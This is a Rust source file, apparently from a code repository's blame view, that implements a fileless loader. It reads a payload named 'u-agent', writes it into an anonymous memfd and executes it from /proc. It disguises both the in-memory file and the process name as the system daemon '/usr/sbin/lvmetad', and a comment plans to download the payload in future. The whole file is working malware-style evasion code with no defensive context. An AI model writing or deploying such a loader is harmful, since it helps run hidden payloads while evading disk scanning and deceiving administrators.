You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
89 lines
1.9 KiB
89 lines
1.9 KiB
4 years ago
|
use nix::{
|
||
|
sys::memfd::{memfd_create, MemFdCreateFlag},
|
||
|
unistd::execv
|
||
|
};
|
||
|
use libc::{
|
||
|
fdopen,
|
||
|
fwrite,
|
||
|
c_void,
|
||
|
getpid
|
||
|
};
|
||
|
use std::{
|
||
|
ffi::{CString, CStr},
|
||
|
fs::{File, read_dir},
|
||
|
io::Read
|
||
|
};
|
||
|
|
||
|
fn get_uagent_data() -> Option<Vec<u8>> {
|
||
|
// TODO: if not ls - then download
|
||
|
let ls = read_dir("./").unwrap();
|
||
|
for dirfile in ls {
|
||
4 years ago
|
let filename = dirfile.unwrap().path();
|
||
|
if filename.to_str().unwrap() == "u-agent" {
|
||
4 years ago
|
let mut file = File::open(filename).unwrap();
|
||
|
let mut data: Vec<u8> = vec![];
|
||
|
file.read_to_end(&mut data).unwrap();
|
||
|
return Some(data)
|
||
|
}
|
||
|
}
|
||
|
None
|
||
|
}
|
||
|
|
||
|
fn get_proc_name() -> CString {
|
||
|
CString::new("/usr/sbin/lvmetad").unwrap()
|
||
|
}
|
||
|
|
||
|
fn create_memfd() -> i32 {
|
||
|
let name = get_proc_name();
|
||
|
let fd = memfd_create(
|
||
|
&name,
|
||
|
MemFdCreateFlag::empty()
|
||
|
).unwrap();
|
||
|
assert!(fd > 0);
|
||
|
fd
|
||
|
}
|
||
|
|
||
|
fn main() {
|
||
|
let agent_data: Vec<u8> = {
|
||
|
let mut data;
|
||
|
loop {
|
||
|
data = get_uagent_data();
|
||
|
if data.is_some() {
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
data.unwrap()
|
||
|
};
|
||
|
let ad_len = agent_data.len();
|
||
|
let fd = create_memfd();
|
||
|
let file = unsafe {
|
||
|
let res = fdopen(fd,
|
||
|
CStr::from_bytes_with_nul(b"w\0")
|
||
|
.unwrap().as_ptr()
|
||
|
);
|
||
|
if res.is_null() {
|
||
|
panic!("WTF!");
|
||
|
}
|
||
|
res
|
||
|
};
|
||
|
let res_len = unsafe {
|
||
|
fwrite(
|
||
|
agent_data.as_ptr() as *const c_void,
|
||
|
1, ad_len, file
|
||
|
)
|
||
|
};
|
||
|
if res_len != ad_len {
|
||
|
panic!("write wasn't successful: {}, need {}",
|
||
|
res_len, ad_len);
|
||
|
}
|
||
4 years ago
|
let exec_path: String = format!(
|
||
|
"/proc/{}/fd/{}", unsafe { getpid() }, fd
|
||
|
);
|
||
4 years ago
|
let proc_name = get_proc_name();
|
||
|
let args = [proc_name.as_c_str()];
|
||
|
execv(
|
||
|
&CString::new(exec_path).unwrap(),
|
||
|
&args
|
||
|
).unwrap();
|
||
|
}
|